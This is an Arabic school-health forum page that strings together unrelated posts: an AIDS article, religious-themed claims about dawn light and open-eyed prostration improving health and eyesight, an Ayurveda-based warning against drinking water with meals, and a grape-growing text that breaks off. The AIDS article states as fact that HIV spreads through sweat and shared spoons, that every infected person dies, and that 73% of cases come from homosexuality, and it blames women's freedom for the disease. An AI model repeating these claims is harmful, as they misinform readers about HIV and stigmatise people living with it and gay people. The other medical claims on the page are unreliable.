التصنيف: الصحة والتغذية المدرسية

السيدا مرض العصر
الخطر على الأبواب،فاحموا الأطفال
مقدمة
ـ من المواضيع الأكثر اهتمامًا في عصرنا الحالي مرض السيدا الذي نشر خيوطه في المجتمعات العربية والغربية لأّنّه أكثر خطورة من الإدمان ممّا يُلحق أضرار كبيرة بجسم الإنسان إلى حدج الموت وتهديم المجتمعات . لقد حصد هذا المرض الخبيث الكثير من أرواح الناس في أنحاء المعمورة و جعلهم في قائمة الأموات ، لانّ المصاب بهذا المرض لا مفرّ له من الموت لأنّه ينهش جسد الإنسان معنويا و بدنيا و عند ظهور الإيدز حاول الأطباء أن يجدوا له دواء ولكن بدون جدوى. وبالرغم من ذلك لم يفشل هؤلاء الأطباء والعلماء في تجاربهم بل واصلوا محاولتهم مما جعلهم يتوصلون إلى ما يخفّّف من حدّّة المرض و يجعل المصاب في حالة أقل خطورة .
تعريف السيدا أو الإيدز AIDS
السيدا : هو اسم المرض الذي يدخل في جسم الإنسان و يحطم جهاز المناعة و يعطله على أداء
وظيفته الحيوية ، و هو مرض فيروسي ينتسب إلى فيروس يعرف باسم HIV III
يعتبر المسبب الرئيسي لنقص المناعة عند المصاب ويشل الخلايا المقاومة للأمراض مما يجعل جسم الإنسان عرضة لأمراض أخرى كالسرطان و يسمى السيدا بالإيدز AIDS :
A : مكتسب : أي شيء نكتسبه لا يولد معنا .
I: مناعة : أي مقاومة أو حماية ضد الأمراض .
D: نقص : أي عدم وجود القوة الوقائية للجسم .

أين و متى ظهر مرض السيدا
ظهر مرض السيّدا في جوان 1981 في الولايات المتحدة الأمريكية و أول من أصيب بهذا المرض هو : مايكل فوتليت” وحسب المختصين في الفيروسات أنّ الإيدز ظهر قبل 1981 ولكن خطورته لم تظهر بشكل كبير في المجتمعات .
كيف نشأ الإيدز ؟
يقال أن مرض السيدا انتقل إلى الإنسان عن طريق الحيوان و بالضبط من القِردة حيث تقول بعض المصادر بأنّّ عناك قِردة كانت تعيش في وسط إفريقيا ، و ذات مرة هاجمت سكان القرى و هي حاملة للفيروس . مما جعل أهل هذه القرى يصابون بالفيروس و يحملونه معهم على منطقة الكارييب و الولايات المتحدة الأمريكية و أوروبا .
اكتشاف الفيروسات
لقد اكتشف فيروس مرض السيدا سنة 1983م من طرف ثلاث علماء في الطب و هم : مونتاقير و باري و سينوزي . و هذا بمساعدة معهد باستور للبحوث ، و قد تمكن العالم روبرت كالو سنة 1984م من اكتشاف الخلايا المصابة بالإيدز ، و وجود سوائل جسم الإنسان كالدّم والحيوانات المنوية واللعاب ، و أنّ المرض لا ينتقل إلى شخص آخر عن طريق مجالسته أو التحدث معه، و إنّما يتمذ عن طريق السّوائل .
كيف يتطور هذا المرض عند المصاب به
1 – مرحلة المصل الإيجابي Séropositif : و تتمثل في الأجسام المضادة للفيروس أو أمراض أخرى وفي هذه الحالة قد يكون الإنسان مصاب بالمرض و لكن لا يظهر عليه إلّا بالتحاليل الطبية .
2 – مرحلة ماقبل السيدا : في هذه المرحلة يضعف الجهاز المناعة عند المصاب ممّا يجعله عرضة لأمراض أخرى كارتفاع درجة الحرارة و الإسهال و الانطواء وضعف الجسم .
3 – مرحلة الإصابة بمرض السيدا : في هذه المرحلة يتدهور جهاز المناعة تدهورًا كلياً و تتحطّم الخلايا البيضاء المكونة لجهاز المناعة و يستسلم جسم الإنسان إلى جميع الأمراض المؤدية للموت .

أعراض مرض السيدا
من الأعراض التي تظهر على المصاب بمرض السيدا هي :
– نقص في بنية جسم الإنسان و وزنه وتدهور طاقته الحركية من خمسين إلى ستين يومًا .
– فقدان الشهية في الأكل .
– الإحساس بالإرهاق الشديد والتعب المبرح مع عدم [القدرة على]بذل جهد كبير .
– ضيق في التنفس و ارتفاع درجة حرارة الجسم .
– التعرق بغزارة أثناء السيّر .
– الإسهال و الضعف العضلي .
– ظهور بعض البقع البيضاء السّميكة في الفم من الداخل
– ظهور أورام حمراء داكنة في أماكن مختلفة من جسم المصاب .
الإصابات الجلدية التي تحدثها السيدا
– ضخامة العقد الرقبية الخلفية اللمفاوية وهي قابلة لحدوث ورم لمفاوي عند المريض المصاب بالسيّدا .
– الورم العضلي لكايوري ويحدث كثيرا في دورة الأنف .
– انتشار الورم العضلي عند المريض .
– نحول شديد للمريض .

طرق انتقال العدوى بين الأشخاص
لا تنتقل العدوى من المصاب إلى غير المصاب بمجالسته أو التحدّث معه و إنّما هناك عوامل أخرى تؤدي على العدوى ، منها :
1 – الحقن : تلعب المخدّرات دورًا كبيرًا في إصابة الشخص بمرض السيدا و السبب الرئيسي في الإصابة هو السائل الذي يتعاطاه الشخص عن طريق الحقنة ممّا يجعل الفيروس ينتقل من المصاب إلى غير المصاب.
2 – يصاب الأطفال بمرض السيدا بواسطة انتقال الفيروس من الأم الحامل المصابة بالمرض إلى الجنين عن طريق المشيمة التي تنقله عبر الدّم ، و منها يصاب المولود أثناء مروره بالجهاز التناسلي .
3 – ينتقل المرض من شخص لأخر عن طريق الدّم غير المراقب في المستشفيات و المراكز الطبية . كذلك استعمال الأدوات الملوثة أو أدوات الحلاقة أو الجراحة غير المعقّمة .
4- ملامسة الأشخاص فيما بينهم مع وجود العرق على الجسم المصاب ، و اللعاب عند استعمال بعض الأدوات (ملعقة الأكل ، فرشاة الأسنان …..)
5– تنتقل العدوى عن طريق العلاقات الجنسية المختلطة [ غير الشرعية ]و غير المحمية .
6 – الشذوذ الجنسي : و تتمثل في العلاقة الجنسية مع نفس الجنس وحسب الإحصائيات أنّ 73 % من المرض هو الشذوذ الجنسي .
7 – لبيوت الدعارة دور كبير في انتشار فيروس السيدا و ذلك ناتج لتردّد عدد كبير من الشباب على بيوت الدعارة قصد إشباع غرائزهم ومنهم من يحمل الفيروس سواء كان من طرف الشباب أو من النساء.

العوامل المساعدة على انتشار السيدا
– عدم تمسّك الشعوب بالقِيم الأخلاقية و الدينية .
– كثرة المال و تنمية الوسائل غير الشرعية
– وسائل الإعلام المشجّعة على الفساد .
– الفراغ عند ذوي المال ، و البطالة عند الفقراء .
– عدم نشر الوعي الاجتماعي و الصحي .
– الحرية المطلقة للبنات .
– الخيانات الزوجية
– انحلال الأسرة و المجتمعات .
– الفقر الشديد عند بعض الناس و عدم الوصول إلى الحاجيات اللازمة . .
– حرية الفرد بعد بلوغه سن 18 في بعض الدول العربية و الغربية .
– انتشار المخدّرات بأنواعها بين صفوف الشباب وجعل الجنس وسيلة للكسب .
كيف يتكاثر فيروس السيدا
عندما يدخل الفيروس جسم الإنسان يمرّ مباشرة إلى الدّم بحثاً عن خليته المفضّلة بحيث يبدأ الاتّصال الغشائي بين الفيروس و الخلية تمهيداً للدخول النهائي للفيروس ، ثمّ يمر إلى نواة الخلية المصابة ، و يسيطر عليها و يستحوذ على نظامها لصالحه. كما تتغذّى على حساب غذائها و بالتالي يتجدّد و يتكاثر الفيروس إلى آلاف الفيروسات . و عندما يحين وقت خروج الفيروس يتمزّق الغشاء الهيولي للخلية و تخرج الفيروسات الجديدة إلى الخارج ثم تتكاثر الدورة الخمجية الفيروسية بانتقال العدوى إلى خلايا ثنائية (T4) أخرى. و بالتالي تتلف معظم الخلايا ، و من خلال ذلك يصاب جهاز المناعة كليًّا . هذا ما نسمّيه من الناحية الاصطلاحية بفقدان المناعة المكتسبة . و يقول الباحث الأمريكي ” هسلتاين ” من جامعة (هرفارد) الأمريكية أن لفيروس السيدا القدرة العظيمة على التكاثر تعادل نحو ألف مرة القدرة التي تميّز الفيروسات الأخرى .
اكتشف الدكتور ج . سال أن 1 مليمتر من الدم يحتوي على نحو 100.000 وحدة فيروس فعالة و بكل وحدة فيروسية القدرة على إصابة الشخص بالمرض مع توفر الشروط .

السيّدا لا يزال يفتك بالأطفال
يتوقّع أن يصل عدد الأطفال اليتامى في العالم إلى 25مليون يتيم في نهاية العقد الحالي [ 2000-2010 ] بسبب فقدانهم لأحد الوالدين أو الاثنين معا بسبب مرض الإيدز. وحسب التقارير فإنّ هناك أكثر من 2.5مليون طفل تحت سن الخامسة عشر يحملون فيروس الإيدز، و 11.8مليون آخرون من فئة 15 سنة على غاية 24سنة . و لهذا تعمل جمعية الدفاع عن حقوق مرضى السيدا بالدفاع عن الأطفال المصابين ، و نشر الوعي من أجل القضاء أو التقليل من المصابين بالفيروس .
وصول السيّدا إلى الجزائر
كيف وصل المرض إلى الجزائر و متى و في أي منطقة ؟
حسب تقرير وزارة الصحة والسكان فإنّ أول مصاب بمرض السيدا ظهر في ولاية تمنراست في شهر ديسمبر سنة 1985م. و وصل عدد المصابين في الجزائر في جوان 1996م إلى 278حالة . ارتفع عدد المصابين في نهاية شهر ديسمبر 1997م حسب الإحصائيات المقدّمة من المعهد الوطني للصحة العمومية إلى 326مصاب ، و لذلك تعتبر الجزائر عُرضة لهذا المرض حسب موقعها الجغرافي بين القارات . و من أجل التخفيف من حدّة المرض أو القضاء عليه ، و عدم ارتفاع نسبته في الجزائر قامت الدولة بعدّة إجراءات خاصة على مراكز الصحة كفحص الدم قبل نقله من شخص لآخر .كما قامت [ و تقوم ] بحملات توعية حول المرض و خطورته على الإنسان .

كيف نقاوم الإيدز ؟
– نشر الفضيلة في المجتمع من خلال تعاليم ديننا الحنيف الذي حرّم الزنا و ما يؤدي إليها و جعل للإنسان عقلا يميّز به .
– القيام بحملة توعية عن طريق الإعلام و الجرائد و الاجتماعات توضّح فيه خطورة المرض و كيفية الابتعاد عن مسبباته .
– فتح النوادي الثقافية و الاجتماعية و العلمية و الرياضية و تشجيع الشباب على الانضمام فيه، و الابتعاد عن الطّريق المؤدّي إلى الانحراف و بالتاي الوقوع في هذا الدّاء .
– الذهاب عند الطبيب في حالة الشك لإجراء تحاليل طبّية .
– المطالعة و ممارسة الرياضة و البحث عن العمل الذي يشغل الفراغ ، و عدم ترك الفراغ و الذهاب إلى مجالس السوء .
– الابتعاد عن تعاطي المخدّرات و الإدمان و شرب الخمر وكل ما يفسد جسم الإنسان و يسبّب له الأمراض .
أدوية الإيدز و تطورها
تبيّن التقارير التي نشرت مؤخرًا أنّ عدد أدوية الإيدز التي تمّ إعدادها تقدر ب122دواء لقاح ضد المرض و الالتهابات الناجمة عنه . فمنذ ظهور الحالة الأولى سنة 1981 م وافقت المراجع الأمريكية على 42 دواء من بينها 12 دواء عام 1996م .كما جاء في التقرير الصادر عن مجموعة تضمّ مختبرات الأدوية و الشركات البيولوجية الأمريكية . واكتشفت الأدوية الجديدة في السنوات الأربع (1992-1996) .

كما يجري العمل حاليًا على تطوير 41 دواء مضاداً للفيروسات و 37 دواء مضاد للالتهابات و أمراض السرطان المرتبطة بالسيدا إضافة إلى 12 لقاحًا .
إنّ مرض السيدا أدّى إلى وفاة 19 مليون شخص و 13مليون طفل يتيم و 30مليون حاملون لفيروس فقدان المناعة المكتسبة . و في سنة 2000 هناك 10 ألف بالغ وطفل يصابون يوميًا بفيروس فقدان المناعة .
لقد انتشر هذا المرض في غرب الصحراء الإفريقية و جنوب شرق آسيا و تسلّل إلى الصين كخيوط العنكبوت ليفتك بأجسام الناس . كانت البشرية تحسب للأمراض الأخرى كالسرطان و التيفوئيد و غيرها ولكن مرض السيدا أنساهم هذه الأمراض لما له من خطورة كبيرة ، فهو يعبر القارات و يترك في بلدانها مصائبه ، فقد أخفت معظم الدول وجود هذا المرض في ديارها ، و لكن انتشاره كشف عكس ذلك ممّا جعل بعض الدول المسارعة للقضاء عليه بشتى الطرق .
لقد تفشّى مرض السيدا في أمريكا ، و تمّ كشفه في العالم أجمع ، و ظهر أكثر وضوحًا في جنوب الصحراء. بحيث تساوى عدد الرجال و النساء و وصلت نسبة حاملي الفيروس إلى المدن إلى 10 % من الذين يتراوح أعمارهم بين 15 و 49سنة. و تدلّ هذه النسبة والأعمار أنّ المرض يضم البالغين و القادرين على ممارسة العلاقة الجنسية . سارعت الدول و المنظمات العالمية للصحة و الجمعيات لتوعية الشعوب و تقديم المساعدات لبعض الدول و البحث عن الدواء الذي يقضي على هذا المرض .

نصائح للمصابين
– الامتناع عن التبرّع بالدم أو الأعضاء كالكلية وغيرها .
– الامتناع عن الحمل عند المرأة .
– إبلاغ طبيب الأسنان بمرضه عند مراجعته لعلاج الأسنان .

– عدم استعمال الآلات الحادّة التي يستعملها المصاب كالمقص و الفرشاة . …إلخ
الخاتمة
لقد خلق الله الكون و الحياة والإنسان ونظّم الكون وأعطى للإنسان نِعم يتمتع بها في الحياة الدنيا ، من بينها نعمة الصحّة ليعبده حق عبادته و يكابد الحياة ، وجعل في جسمه جنوداً تحارب كل دخيل و تمنعه من الفتك بهذا الجسم ، قال تعالى ” ولله جنود السموات والأرض وكان الله عزيزا ًحكيمًا” الفتح الآية [7] . فإذا عرف الإنسان حق هذه النعمة حافظ عليها و إذا لم تعطى لها حقها أضاعها و هدّمها .
و سنّ الله في خلقه الزواج حتى يكون حصنًا للإنسان ، و لهذا يجب علينا أن لا نخالف أوامر الله و نحافظ على حياتنا من الأمراض، ومن طاعون العصر ألا وهو مرض السيدا الفتاك . و يجب أن نقي أنفسنا لأنّ الوقاية خير من العلاج ونحارب هذا المرض بالأخلاق الإسلامية و العقيدة الصحيحة و نلتزم بالسلوكات الدينية التي تبعدنا عن كل ما يلحق بنا من أذى أو دمار .
المرجع :/كتاب السيدا مرض العصر ـ الأستاذ ـ حرحار بوعلام ـ دار البدر للطباعة و النشر و التوزيع – بتصرف ـ الجزائر 2022.

فعلا إنه مرض العصر

مرض فقدان المناعة المكتسب

مشكوووووور والله يعطيك الف عافيه

لا شكر على واجب اخي شكرا لمرورك.

	العلاج بضوء الفجر ضوء الفجر نعمة من الله تعالى، والآن يحاول العلماء الاستفادة منه في علاج بعض الأمراض المزمنة مثل القلق وقلَّة النوم والحزن، ونتذكر أن الله تعالى أقسم بالفجر….. يقول تبارك وتعالى: (وَالْفَجْرِ * وَلَيَالٍ عَشْرٍ) [الفجر: 1-2]. ويقول أيضاً: (أَقِمِ الصَّلَاةَ لِدُلُوكِ الشَّمْسِ إِلَى غَسَقِ اللَّيْلِ وَقُرْآَنَ الْفَجْرِ إِنَّ قُرْآَنَ الْفَجْرِ كَانَ مَشْهُودًا) [الإسراء: 78]. ويقول جل وعلا عن ليلة القدر: (سَلَامٌ هِيَ حَتَّى مَطْلَعِ الْفَجْرِ) [القدر: 5]. نلاحظ في هذه الآيات أن الله تعالى يقسم بظاهرة “الفجر” ويأمر بتلاوة القرآن في وقت الفجر… فما هو سر هذه الظاهرة؟ تتميز فترة بداية طلوع الشمس بأن الجو يكون مشحوناً بالأكسجين النقي، وتكون الأشعة الصادرة من الشمس في هذا الوقت خفيفة ومفيدة للعين، لأنها لا تصل مباشرة إلى العين بل نتيجة انعكاسات متعددة. وبما أن الله تعالى أقسم بالفجر، والله لا يقسم إلا بعظيم، فلابد أن تتميز ظاهرة الفجر بأشياء عجيبة وأن يكون لها منافع على حياة البشر، وهذا ما وجده العلماء أخيراً. فقد أكدت مجموعة من العلماء البريطانيين أن جهازاً يقلّد ويحاكي أجواء الفجر قد يساعد على تقليص الإحساس بالكآبة المرتبطة بفقدان الشمس خلال الشتاء. ويزعم العلماء أن الآلة الجديدة، التي تقوم برفع مستويات الضوء خلال النوم، تشكل علاجاً فعالاً لحالة الاكتئاب التي تدعى “الاضطراب العاطفي الموسمي (إس آي دي)” . وتدعم دراسة نشرت في مجلة الطب النفسي الأمريكية اختراعات تقوم ببث جزيئات أوكسجين مشحونة بشوارد سالبة (إيونات). ويؤثر الواقع الذي يمكن أن تحدثه الآلة الجديدة على حياة الكثير من البشر. وينصح الخبراء الآن بأنواع من العلاج، كالعلاج بالضوء وتغيير النظام الغذائي وزيادة التمارين الرياضية للتغلب على المشكلة. فالتعرض لأشعة الشمس يساعد الجسم على إنتاج مادة السيروتونين، وهي مادة كيماوية تعزز مشاعر الارتياح لدى الإنسان. ويمضي العديد من الأشخاص الذين يعانون من الاكتئاب الشتوي قرابة ثلاثين دقيقة أو أكثر يومياً يجلسون خلالها تحت مصباح نور باهر ليتمكَّنوا من التغلب على حالة إس آي دي، إلا أن “آلة محاكاة الفجر” هذه تعمل عندما يكون الشخص نائما. وتعمل الآلة الجديدة على إعادة إنتاج مستويات الضوء التي ترتفع بشكل تدريجي خلال النهار، بينما تحاول الأيونات على محاكاة الظروف الجوية خارج المنزل. ويقول الدكتور مايكل تيرمان، الذي أشرف على دراسة الآلة الجديدة، إنه قدم خمسة أنواع مختلفة من العلاج لـ 99 متطوعاً يعانون من اكتئاب إس آي دي، وهي العلاج بالنور التقليدي بعيد الاستيقاظ، ونوعان من التحريض بآلة الفجر الجديدة، ونوعان من العلاج بالأيونات المشحونة بشحنات سلبية. وكانت النتيجة أن كان العلاج بنوع واحد من التعرض للتحريض من خلال آلة الفجر ونوعاً آخر من العلاج بالأيونات على نفس الدرجة من النجاح. يعتبر ضوء الفجر الأزرق من أفضل الألوان وأكثرها راحة للعين، ويؤكد العلماء أن وقت الفجر هو الوقت المناسب للتفكير والإبداع وصفاء الذهن، ولذلك فإن الاستيقاظ في وقت الفجر له فوائد طبية كثيرة، وذلك لعلاج مختلف الاضطرابات النفسية وعلى رأسها اضطرابات النوم. إشارات قرآنية رائعة بالنسبة للعلاج بضوء الفجر فقد وجد العلماء نتائج كثيرة ومبهرة لفوائد التعرض لنور الفجر وانتشار الأكسجين في هذه الفترة، ولذلك فقد أقسم الله تعالى بالفجر فقال: (وَالْفَجْرِ * وَلَيَالٍ عَشْرٍ) [الفجر: 1-2]. ولا ننسى أن صلاة الصبح من الصلوات المهمة جداً، فقد فرض الله هذه الصلاة في وقت ظهور أول الفجر ليكون المؤمن يقظاً ولا يفوته الخير الكثير. فالصلاة في المسجد تمنح المؤمن أثناء مسيره وعودته قدراً كافياً من ضوء الفجر وبالتالي نجد المؤمن الذي يحافظ على صلاة الصبح في المساجد، يتمتع بصحَّة أفضل ويعيش حياة مستقرة. وهناك الكثير من الحالات النفسية التي فشل الطب في علاجها، ولكن بعض الأطباء نصح المرضى بالاستيقاظ مبكراً والتعرض قليلاً لضوء الفجر، وكانت النتائج مذهلة، حيث زال التوتر النفسي واختفى القلق واضطرابات النوم بسرعة! ومن هنا ندرك أن الله عندما أمرنا بالمحافظة على الصلوات ومنها الصلاة الوسطى، إنما يريد لنا الخير والصحة الجيدة ويريد أن يبعدنا عن الاضطرابات النفسية والقلق! (وقد قيل بأن الصلاة الوسطى هي صلاة الصبح)، يقول تعالى: (حَافِظُوا عَلَى الصَّلَوَاتِ وَالصَّلَاةِ الْوُسْطَى وَقُومُوا لِلَّهِ قَانِتِينَ) [البقرة: 238]. ولذلك أنصح كل من يعاني من اضطرابات في النوم، أو لا يتمكن من النوم إلا بعد عدة ساعات، أو يرى أحلاماً مزعجة، أو لديه قلق ووساوس… أن يستيقظ في وقت صلاة الصبح ثم يذهب إلى المسجد لأداء الصلاة، ثم يقرأ القرآن حتى تطلع الشمس، ويحافظ على هذه العادة الرائعة وسوف يزول عنه كل ما يعانيه بإذن الله تعالى.

السلام عليكم ورحمة الله وبركاته

شـكــ وبارك الله فيك ـــرا لك … لك مني أجمل تحية .

مشكوووووور والله يعطيك الف عافيه

شـكــ وبارك الله فيك ـــرا لك … لك مني أجمل تحية .

مبرووووووك من الاعماق والى الامام وبالتوفيق يارب

تعاني عضلات العين من التصلب النسبي بمرور الأيام مما يؤدي إلى عدم قدرتها على زيادة وإنقاص تحدب عدسة العين بالشكل المطلوب ، لذا احرص على اتباع السنة في صلاتك بأن تبقي عينيك مفتوحتين أثناء السجود .

قف وأنت تنظر إلى موضع سجودك وأبق عينيك مركزة على تلك المنطقة ، عند ركوعك ستقترب العين من موضع السجود مما سيجبر عضلات العين على الضغط على العدسة لزيادة تحدبها وعند رفعك سترتخي العضلات ويقل التحدب .

عند سجودك ستنقبض العدسات أكثر من الركوع لأن المسافة بين العين ونقطة السجود قريبة جداً وعند الرفع سترتخي .

هذا التمرين ستنفذه بشكل إجباري 17 مرة في اليوم . يمكنك تكراره عدد المرات التي تريد

إنها حكمة الله ..

الرسول صلى الله عليه وسلم دائماً كان يدعو على إبقاء العينين مفتوحتين أثناء السجود ، وهاهو العلم الآن يثبت أن ذلك يعمل على عدم إضعاف النظر .

شكرا على المعلومات والافادة الرائعة والطيبة

أشكرك جزيل الشكر على المعلومات القيمة……

بارك الله فيك

شكرا لك اخي على المعلومة ولكن قراءت ان هذه المعلومة خطا اسمحلي بالتصحيح
ارجو منك ان تتقبلها بصدر رحب
سئل الشيخ عبد الرحمن السحيم عن صحة هذا الموضوع فكان جوابه :

على مَن قال قولاً أن يسند قوله بِما يُثبِته .
فقول : (الرسول صلى الله عليه وسلم دائماً كان يدعو على إبقاء العينين مفتوحتين أثناء السجود) يحتاج إلى دليل ، ولا دليل عليه .
ويُشكل على هذا أمور :
الأول : نسيان المقصود الأعظم مِن السجود ، وهو تعظيم الرب ، سواء فَتَح المصلّي عينيه أو أغلقهما .
الثاني : أنه حتى الأعمى يُؤمَر بالسجود .. ولا مصلحة له في تقعّر ولا تحدّب عدسة العين !
الثالث : أنه اخْتُلِف في حُكم تغميض العينين في الصلاة ، هل هو مكروه أو لا ؟
وسبق :
ما حُـكم تغميض العيون في الصلاة‏ ؟‏
جواب الشيخ عبد الرحمن السحيم
الجواب :

لا يجوز فعل ذلك على سبيل الـتَّعَـبُّـد
وقد كَرِه العلماء تغميض العينين في الصلاة ، وعَلَّلُوا ذلك بأنه مِن فعل اليهود .

قال ابن القيم : ولم يَكن مِن هَديه تَغميض عينيه في الصلاة ، وقد تقدم أنه كان في التشهد يُومِىء بِبَصره إلى أصبعه في الدعاء ، ولا يجاوز بَصره إشارته …
وقد اخْتَلف الفقهاء في كراهته ؛ فكرهه الإمام أحمد وغيره ، وقالوا : هو فعل اليهود . وأباحه جماعة ، ولم يكرهوه ، وقالوا : قد يكون أقرب إلى تحصيل الخشوع الذي هو روح الصلاة وسِرّها ومقصودها .
ثم قال :
والصواب أن يُقال : إن كان تَفتيح العين لا يُخِلّ بالخشوع فهو أفضل ، وإن كان يَحُول بينه وبين الخشوع لِمَا في قِبْلَتِه مِن الزخرفة والـتَّزْويق أو غيره مما يُشّوِّش عليه قَلْبه فهنالك لا يُكْرَه التغميض قطعا ، والقول باسْتِحْبَابه في هذا الحال أقرب إلى أصول الشرع ومقاصده مِن القول بالكراهة ، والله أعلم .

وهذا التفصيل أصيل ! مِن عالِم جَلِيل ..

والله تعالى أعلم .

بارك الله فيك أخي على الموضوع القيم والمفيد
أعانك الله
نترقب المزيد
بالتوفيق

لماذا يجب أن تتوقف عن شرب الماء مع وجبات الطعام؟

الصحة المثالية = شرب أطنان من الماء على أساس أن 60 بالمائة من الجسم يتكون من الماء، فحوالي 70 بالمائة من الدماغ يتكون من الماء، و 90 بالمائة من الرئتين تتكونان من الماء. والجسم الحاصل على ترطيب يجب يعمل بشكل أفضل ويبدو ايضا بشكل أفضل. لكن بالرغم من أن الترطيب هام إلى صحتك، إلا أن شرب الماء أثناء تناول وجبات الطعام سلوك سيء والأسوأ من ذلك شرب الماء البارد.

يقول العلم القديم للأيورفيدا بأن شرب الماء أثناء وجبات الطعام، والماء البارد بشكل محدد، يمكن أن يطفئ النار الهضمية في أجسامنا مما يؤدي الى سوء هضم الأطعمة. وكنتيجة، يوصى بشرب الماء على الأقل قبل 30 دقيقة من الأكل أو بعده بحوالي 30 دقيقة. إذا كان ولا بد أن تشرب الماء فحاول تناول رشفة صغيرة من ماء بدرجة حرارة الغرفة.

هذا ويشرح العلم الحديث الأمر بطريقة مختلفة، لكن الرسالة مازالت واحدة. شرب الماء أكثر من اللازم أثناء تناول وجبات الطعام يمكن أن يتدخل في المستويات الطبيعية للصفراء والحامض في المعدة، ويبطئ الهضم. ويقلل من قدرة الإنزيمات الهضمية مما يعزز من النفايات السامة في الجسم.

الترطيب السليم:

وفقا لعلم الأيورفيدا، تصبح النار الهضمية أضعف في الشتاء، لذا من المهم الإستمرار بشرب الماء بحرارة حرارة الغرفة. وتجنب شرب السوائل التي تبطئ الهضم مثل الكحول، المشروبات اللاكحولية، والعصائر السكرية. والالتزام بشرب ماء بدرجة حرارة الغرفة وشاي خالي من الكافيين.

بارك الله فيك على المقالة الرائع

تقبلي مروري

اختك هناء

بارك الله فيك على المقالة الرائع

تقبلي مروري

جزاك الله خيرا.

بارك الله فيك أختي الفاضلة على الموضوع القيم والمفيد
نترقب المزيد
بالتوفيق

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
والصلاة والسلام على اشرف المرسلين’
اما بعد,

يشرفني أن أقدم لكم هدا الموضوع عن

العنب

تعتبر زراعة العنب ذات اهمية كبيرة سواء على مستوى الاقتصاد الوطني او
على مستوى المزارعين لانها تؤدي الى الاستغلال الامثل للارض سواء أكانت
مستوية او على منحدرات (الجبال والتلال )او في الاراضي الرمليه ويعتبر العنب
ذات مردود اقتصادي كبير لانه يؤدي الى زيادة دخل المزارعين سواء كان
عن طريق انتاج عنب المائدة او التجفيف او العصير
تهدف زراعة العنب الى انتاج عنب المائدهة الطازج وعنب العصير الطازج او المركز
وعنب التجفيف كا ان اوراق العنب تدخل في وجبات الطعام لبعض الشعو
اجزاء الكرمة

(أ) المجموع الجذري :

ويتكون من جذور عرضية تكون عند بلوغ الكرمة مرحلة الإثمار التجاري مجموع جذري
كثيف وينتشرأفقيا في دائرة مركزها جذع الكرمة ونصف قطرها 2.5 ـ 3.5 متر . ويشغل
معظم المجموعا لجذري عمقا يصل إلى ما يزيد على متر من سطح التربة إذا كانت التربة عميقة
التطعيم بالعين
تجرى على فروع عقل الاصول المجذرة او على الشتلات المزروعه بالمشتل اثناء
التزهير عند بداية تخشب الفروع وذلك في نيسان –مايس او بداية حزيران حسب
المناطق وقبل يوم من تطعيم تقصر الفروع المراد التطعيم عليها بطول 50-60 سم
ويجرى التطعيم في الصباح الباكر وقبل ارتفاع درجة الحرارة او في المساء بعد
انخفاض درجة الحرارة تؤخذ الطعوم في يوم التطعيم من فوق اخر عنقود زهري
بثلاث او أربع اوراق .وان تكون طعوم ذات سمك متماثل للفروع المراد التطعيم
عليها .يوصى بوضع فروع الطعوم بالماء قبل اخذ العيون منها لكي لاتذبل .يكون
تطعيم على هيئة رقعة تو الدرعي وهو المستعمل .يجري التطعيم على ارتفاع
5سم عن سطح التربة .بعد التطعيم يتم الربط باشرطة التطعيم البلاستيكية الخاصة
.بعد نجاح التطعيم بعد 10-12 يوما تقريبا يقرط الاصل على مسافة 10 سنتميترات
فوق مكان التطعيم لكي لاينفصل الطعم .في حالة التطعيم المتاخر (حزيران –اب )
يحدث الالتحام ولكن تفتح العيون لايحدث الا في بداية فصل النمو للسنة التالية .

العنب

( ب ) المجموع الهوائي :

1 ـ الجذع :هو ساق الكرمة الذي يظهر فوق سطحالتربة حتى منطقة التفريع وقد
يكون قائما ثم ينمو أفقيا بعد ذلك تبعا لطريقةالتربيى المتبعة .

2 ـ الأذرع :وتمثل هيكل رأسالكرمة وتتكون من أفرع مسنة مختلفة الطول .

(ب) وحدات التقليم الشتوي السنوي : وتجهز من نموات العام السابق مباشرة خلال
موسم التقليم الشتوي . ويطلق على النمو الحديث أثناء موسم النمو اسم الفرخ وعندما
ينضج خشبه وتتساقط أوراقه يعرف باسم القصبة .
ويقابل الفرع عمر سنة في أنواع المتساقطات الأخرى .

ويجهز من هذه القصبات في التقليم الشتوي الأجزاء الآتية :

1 ـ قصبات ثمرية :وهي عبارة عن قصبة عادية ويتم إزالة الجزء الطرفي منها بدرجة
خفيفة بحيث يترك عليها عدد كبير نوعا من العيون وذلك تبعا لدرجة النضج والسمك
. وتجهز القصبة عادة بطول يحمل 10 ـ 15 عين . والقصباتالثمرية هي وحدات الإثمار
في التربية القصبية والتكاعيب وتخصص أساسا لإنتاج محصول العام الحالي ثم تزال بعد
أخذ المحصول وذلك في موسم التقليم الشتوي التالي .

2 ـ الدوابر :وهو مصطلح يطلق على القصبات بعدتقصيرها إلى
عدد محدود من البراعم وهي ثلاثة أنواع :

العنب

دوابر ثمرية :وهي عبارة عن قصبات تقصر إلى عدد محدود من العيون ما بين
2 ـ 6 عيون حسب الصنف وسمك الدابرة وقوة نموها . وهي وحدات حمل
العناقيد في حالة الأصناف التي تربى تربية رأسية أو كردونية وتعرفأيضا بالطرحات .

ثانيا : دوابر تجديدية :وهيعبارة عن قصبة مقصرة إلى 2 ـ 3 عيون وتخصص
لإنتاج قصبات العام التالي في التقليمالقصبي ( التربية القصبية ) وتجهز بالقرب من رأس الكرمة .

ثالثا : دوابر استبدالية : وهي عبارة عن قصبة مقصرة إلى 2 ـ 3 عين تختار قرب
موضع اتصال إحدى الأذرع بالجذع والتي استطالت أكثر من اللازم حيث تحل هذه
الدابرة محل الذراع الذي زاد طوله . وتجهز الدوابرالاستبدالية عادة على خشب
عمره أكثر من سنتين ( قاعدة الذراع التالف الذي زاد طوله ) . وقد تحمل
على الجذع نفسه قريبا من الذرع المرغوب إزالته .
اكثار العنب
كرمات العنب عبارة عن متسلقات معمرة التي تتكاثر اعتياديا بصورة عمليه بالطريقة
الخضرية (الاجنسية)كالعقل والترقيد والتطعيم وحديثا بزراعة الانسجة غير ان العنب
يتكاثر في الطبيعة بالطريقة الجنسية البذور وكذلك يتم الاكثار بالبذور لاغراض التهجين

العنب

التكاثر اللاجنسي (الخضري)
يكون تكاثر خضري باستعمال اجزاء القصبات او الفروع وذلك عن طريق
تجذيرها وتطور ساقها وذلك اما مباشرة دون فصلها من الكرمه الام (الترقيد)او
بعد فصلها على هيئة عقل التي تزرع اما في المشتل او في مكان مستديم مباشرة
كعقل اعتيادية او مطعمة يتطلب التكثير بهذه الطريقة وجود برعم على الجزء
